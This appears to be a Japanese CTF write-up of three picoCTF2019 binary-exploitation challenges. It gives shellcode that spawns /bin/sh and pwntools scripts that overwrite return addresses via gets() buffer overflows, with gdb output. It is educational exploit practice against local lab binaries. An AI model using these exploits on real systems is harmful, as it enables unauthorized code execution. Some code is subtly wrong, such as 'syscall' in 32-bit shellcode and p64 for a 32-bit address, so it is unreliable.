pwn過去問チャレンジ picoCTF2019編


過去に出題されたpwn問を解いていきます。
今回はpicoCTF2019のpwn問のWriteupを書いていきます。
※すでに公式サイトでは問題ファイルの配布は終了していましたので、他経路でバイナリファイルを入手しています。そのため実際の問題とは違う可能性があること、ご承知おきください。

handy-shellcode

配布された(と思われる)ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");

  return 0;
}

動かしてみます。

gets関数で変数bufに値を格納し、格納した値を表示し、
((void (*)())buf)();でbufを関数ポインタにキャストし、実行していそうです。

次にシェルコードを書いていきます。

シェルコマンドを実行するためにはexecveシステムコールを使います。
man execveで使い方を調べてみます。

ということなので、上記に従いまずはCで書いてみます。
(そのまんまだけど)

include<unistd.h>

int main()
{
    char *argv[1];
    argv[0] = "/bin/sh";
    argv[1] = NULL;
    execve(argv[0], argv, NULL);
}

思った通り動作しました。
それではこれを踏まえてアセンブリコードを書いていきます。

xor eax,eax 
Push eax 
Push 0x68732f2f 
Push 0x6e69622f 
mov ebx,esp 
Push eax 
Push ebx
mov ecx,esp
mov al,0xb 
xor edx,edx
syscall

システムコール番号をeaxに、第一引数をebx,第二引数をecx,第三引数をedxに設定し、syscallを呼び出しています。
※上記コードを書き終えてから思ったんですが、Cで書いたバイナリをディスアセンブルすれば早かったですね....

それでは上記を踏まえてエクスプロイトコードを書いていきます。

solve.py
from pwn import *

target = process('./handy_shell')

target.recvline()

payload = asm("""
xor eax,eax 
Push eax 
Push 0x68732f2f 
Push 0x6e69622f 
mov ebx,esp 
Push eax 
Push ebx
mov ecx,esp
mov al,0xb 
xor edx,edx
syscall
""")
target.sendline(payload)
target.interactive()

無事シェルを奪取出来ました。

感想
わかっているひとからしたら簡単なんだろうな。と思う内容でした。
私としてはアセンブリやシステムコールについて復習できたのでよかったです。
コード拾ってこようと思えば拾ってこれるけど、自分で書くの大事....

OverFlow1

配布された(と思われる)バイナリを起動します。

次に緩和機構を確認します。

緩和機構はほぼ無効になっています。

次にGhidraで解析を行います。

main関数内でvuln関数を呼んでいることがわかります。
vuln関数を確認します。

また、解析の結果、flag関数も確認できました。

上記の結果から、vuln関数内のgets関数でbofを発生させ、リターンアドレスをflag関数に書き換えることができればこの問題を解くことができそうです。

エクスプロイトコードを書くための情報を集めていきます。

まず、flag関数の開始アドレスを探します。

上記の結果より、
0x080485e6だとわかりました。

次にリターンアドレスまでのオフセットを確認します。

上記より、0x4cつまり76バイトだとわかりました。

以上を踏まえてコードを書いていきます。

from pwn import *

target = process('./Overflow1')
target.recvline()

payload=b'A'*0x4c
payload +=p64(0x080485e6)

target.sendline(payload)
target.interactive()

flag.txtファイルがないため、flagは出ませんがflag関数を呼ぶことができました。

newOverflow1

問題ファイルの情報を確認します。

次にGhidraで解析を行います。
64bitになっただけでOverflow1とほぼ同じ内容のため、説明は省略しますが、前問と同様にリターンアドレスを上書きしてflag関数を呼びます。

エクスプロイトコードに必要な情報を集めます。

まず、gdbの以下のコマンドでflag関数の開始アドレスを調べます。

disas flag

次にget関数の直後にブレークポイントをセットします。

以下のコードブロックでは、下記のことを行っています。
1.runでファイル実行
2.13371337を入力
3.search-patternコマンドで13371337が格納されているアドレスを探す
4.i f でスタックフレームの情報を表示

gef➤  r
Starting program: /home/kali/workspace/picoCTF/newOverflow 
Welcome to 64-bit. Give me a string that gets you the flag: 
13371337

Breakpoint 1, 0x00000000004007e5 in vuln ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdd60  →  "13371337"
$rbx   : 0x0000000000400860  →  <__libc_csu_init+0> push r15
$rcx   : 0x00007ffff7fa29a0  →  0x00000000fbad2288
$rdx   : 0x0               
$rsp   : 0x00007fffffffdd60  →  "13371337"
$rbp   : 0x00007fffffffdda0  →  0x00007fffffffddd0  →  0x0000000000000000
$rsi   : 0x00000000006022a8  →  0x000000000000000a ("\n"?)
$rdi   : 0x00007ffff7fa5680  →  0x0000000000000000
$rip   : 0x00000000004007e5  →  <vuln+25> nop 
$r8    : 0x00007fffffffdd60  →  "13371337"
$r9    : 0x00007ffff7f230e0  →  <__memcpy_ssse3+10224> mov edx, DWORD PTR [rsi-0x7]
$r10   : 0x5d              
$r11   : 0x00007ffff7f769e0  →  0xfffabb60fffab998
$r12   : 0x0000000000400680  →  <_start+0> xor ebp, ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd60│+0x0000: "13371337"     ← $rax, $rsp, $r8
0x00007fffffffdd68│+0x0008: 0x00007ffff7fa3600  →  0x0000000000000000
0x00007fffffffdd70│+0x0010: 0x0000000000400928  →  "Welcome to 64-bit. Give me a string that gets you [...]"
0x00007fffffffdd78│+0x0018: 0x00007ffff7e5af5a  →  <puts+378> cmp eax, 0xffffffff
0x00007fffffffdd80│+0x0020: 0x0000000000400860  →  <__libc_csu_init+0> push r15
0x00007fffffffdd88│+0x0028: 0x00007fffffffddd0  →  0x0000000000000000
0x00007fffffffdd90│+0x0030: 0x0000000000400680  →  <_start+0> xor ebp, ebp
0x00007fffffffdd98│+0x0038: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4007d8 <vuln+12>        mov    rdi, rax
     0x4007db <vuln+15>        mov    eax, 0x0
     0x4007e0 <vuln+20>        call   0x400630 <gets@plt>
 →   0x4007e5 <vuln+25>        nop    
     0x4007e6 <vuln+26>        leave  
     0x4007e7 <vuln+27>        ret    
     0x4007e8 <main+0>         push   rbp
     0x4007e9 <main+1>         mov    rbp, rsp
     0x4007ec <main+4>         sub    rsp, 0x20
──────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "newOverflow", stopped 0x4007e5 in vuln (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4007e5 → vuln()
[#1] 0x40084a → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
  0x6022a0 - 0x6022aa  →   "13371337\n" 
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffdd60 - 0x7fffffffdd68  →   "13371337" 
gef➤  i f
Stack level 0, frame at 0x7fffffffddb0:
 rip = 0x4007e5 in vuln; saved rip = 0x40084a
 called by frame at 0x7fffffffdde0
 Arglist at 0x7fffffffdda0, args: 
 Locals at 0x7fffffffdda0, Previous frame's sp is 0x7fffffffddb0
 Saved registers:
  rbp at 0x7fffffffdda0, rip at 0x7fffffffdda8

以上の工程で集めた情報をもとにエクスプロイトコードを作成します。

from pwn import *

target = process('./newOverflow')
target.recvline()

payload=b'A'*0x48
payload +=p64(0x0000000000400767)

target.sendline(payload)
target.interactive()

今回はflag.txtファイルを用意したのでflagが表示されました。
※当然ですが競技中のflagとは異なります。

参考文献

アセンブラ(システムコール)